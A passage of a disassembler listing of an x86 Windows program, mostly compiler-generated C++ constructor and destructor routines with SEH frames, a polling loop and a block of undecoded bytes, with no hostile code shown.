		push	offset SEH_4179F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_4017DAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417AD0	proc near		; CODE XREF: sub_401B3Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417AD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417AD0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B40	proc near		; CODE XREF: sub_401F46j
		add	ecx, 4
		jmp	sub_401023
sub_417B40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417B60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417B60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417B60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417BE0	proc near		; CODE XREF: sub_401E06j
		add	ecx, 4
		jmp	sub_401023
sub_417BE0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C00	proc near		; CODE XREF: sub_402013j
		add	ecx, 4
		jmp	sub_401023
sub_417C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417C20	proc near		; CODE XREF: sub_401F00j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417C20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417C20	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417CC0	proc near		; CODE XREF: sub_401587j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417CC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417D60	proc near		; CODE XREF: sub_40164Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417D60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F07C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417D60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417E30	proc near		; CODE XREF: sub_401780j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+8D008h]
		call	sub_401753
		lea	ecx, [esi+8D036h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+8D0C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F080
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417E30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417EF0	proc near		; CODE XREF: sub_40182Fj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F050
		mov	eax, esi
		pop	esi
		retn
sub_417EF0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F20	proc near		; CODE XREF: sub_4016BDj
		push	esi
		mov	esi, ecx
		call	sub_401E88
		mov	dword ptr [esi], offset	off_43F05C
		mov	eax, esi
		pop	esi
		retn
sub_417F20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417F50	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417F50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F084
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; CODE XREF: sub_401302j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418010
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F088
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4180D0	proc near		; CODE XREF: sub_401271j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4180D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F08C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4180D0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418150	proc near		; CODE XREF: sub_401D25j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		mov	dword ptr [esi], offset	off_43F090
		mov	eax, esi
		pop	esi
		retn
sub_418150	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418180	proc near		; CODE XREF: sub_4012FDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418180
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F094
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418180	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418200	proc near		; CODE XREF: sub_401A91j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F098
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418200	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418280	proc near		; CODE XREF: sub_401285j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F09C
		mov	eax, esi
		pop	esi
		retn
sub_418280	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4182B0	proc near		; CODE XREF: sub_401CB7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4182B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0A0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4182B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418330	proc near		; CODE XREF: sub_40157Dj
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A4
		mov	eax, esi
		pop	esi
		retn
sub_418330	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418360	proc near		; CODE XREF: sub_401799j
		push	esi
		mov	esi, ecx
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		mov	dword ptr [esi], offset	off_43F0A8
		mov	eax, esi
		pop	esi
		retn
sub_418360	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418390	proc near		; CODE XREF: sub_401073j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_418390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401753
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401753
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401753
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401753
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0AC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_418390	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418430	proc near		; CODE XREF: sub_401267j

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, dword_5118D8
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+9FD2Ch], 1


loc_418448:				; CODE XREF: sub_418430+E4j
		test	bl, bl
		jnz	loc_41851E
		mov	al, [esi+8EF74h]
		test	al, al
		jnz	short loc_41845E
		mov	bl, 1
		jmp	short loc_418472
; ---------------------------------------------------------------------------


loc_41845E:				; CODE XREF: sub_418430+28j
		lea	ecx, [esi+15Fh]
		call	sub_40186B
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_418479


loc_418472:				; CODE XREF: sub_418430+2Cj
		mov	byte ptr [esi+9FD2Ch], 0


loc_418479:				; CODE XREF: sub_418430+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_4020A4
		lea	edi, [esi+9FD83h]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401F69
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jz	short loc_4184FE


loc_4184B4:				; CODE XREF: sub_418430+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	ecx, [eax]
		call	sub_40174E
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402234
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4184DB
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_4184DB:				; CODE XREF: sub_418430+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401361
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_401311
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401703
		test	al, al
		jnz	short loc_4184B4


loc_4184FE:				; CODE XREF: sub_418430+82j
		mov	ecx, edi
		call	sub_4010B9
		push	0FAh
		call	ebp
		mov	al, [esi+9FD2Ch]
		test	al, al
		jnz	loc_418448
		test	bl, bl
		jz	short loc_41852B


loc_41851E:				; CODE XREF: sub_418430+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41852B:				; CODE XREF: sub_418430+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_418430	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418590	proc near		; CODE XREF: sub_401771j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_418590
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, offset byte_4E8E9B
		mov	byte ptr [esi+9FD2Ch], 1
		call	sub_4010B9
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_4185D0
		push	eax
		jmp	short loc_4185D5
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_418590+3Bj
		push	offset byte_448F30


loc_4185D5:				; CODE XREF: sub_418590+3Ej
		lea	ecx, [esi+9FD57h]
		call	sub_4015E1
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_4185EE
		push	edi
		jmp	short loc_4185F3
; ---------------------------------------------------------------------------


loc_4185EE:				; CODE XREF: sub_418590+59j
		push	offset byte_448F30


loc_4185F3:				; CODE XREF: sub_418590+5Cj
		lea	ecx, [esi+9FD6Ch]
		call	sub_4015E1
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401384
sub_418590	endp

; ---------------------------------------------------------------------------
		db 8Ah
		dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h,	0FE936BE8h
		dd 244C8DFFh, 2685128h,	90000002h, 69E020E8h, 8E92E871h
		dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh
		dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh
		dd 68005118h, 3E8h, 0CF8BD3FFh,	0FE8BB3E8h, 3E868FFh, 0D3FF0000h
		dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
		dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
		dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh,	868AFFFEh
		dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h
		dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh
		dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh
		dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h
		dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh
		dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h
		dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh
		dd 84C70009h, 1C424h, 0
		dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
		dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch
		dd 8F2478Eh, 8C5CE800h,	8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh
		dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh
		dd 9FA138Eh, 8F50E800h,	8E8DFFFEh, 8F3A2h, 0FE9A49E8h
		dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h
		dd 9FC428Eh, 97A7E800h,	0CF8BFFFEh, 0FE886EE8h,	0BF8E8DFFh
		dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h
		dd 9FAD38Eh, 9720E800h,	8E8DFFFEh, 9FB93h, 0FE916BE8h
		dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h
		dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh
		dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h,	69BBE3E8h
		dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h
		dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h
		dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------

locret_418940:				; CODE XREF: ___:00402225j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_418960:				; CODE XREF: ___:00401EE2j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, offset dword_449118
		call	sub_401771
; ---------------------------------------------------------------------------
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418990	proc near		; CODE XREF: sub_401B1Dj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4021DF
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40162C
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401438
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_402103
sub_418990	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A00	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40139D
sub_418A00	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_418A40	proc near		; CODE XREF: sub_4021FDj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_40207C
sub_418A40	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AB0	proc near		; CODE XREF: sub_401F69j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4015DC
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D98
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_418AB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418AF0	proc near		; CODE XREF: sub_401311j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_418AF0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B20	proc near		; CODE XREF: sub_4010B9j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401311
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401F69
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40155A
		pop	esi
		add	esp, 0Ch
		retn
sub_418B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B70	proc near		; CODE XREF: sub_4020A4j
		push	esi
		mov	esi, ecx
		call	sub_401532
		mov	eax, esi
		pop	esi
		retn
sub_418B70	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_418B90	proc near		; CODE XREF: sub_402234j
		mov	eax, [ecx]
		push	eax
		call	sub_401172
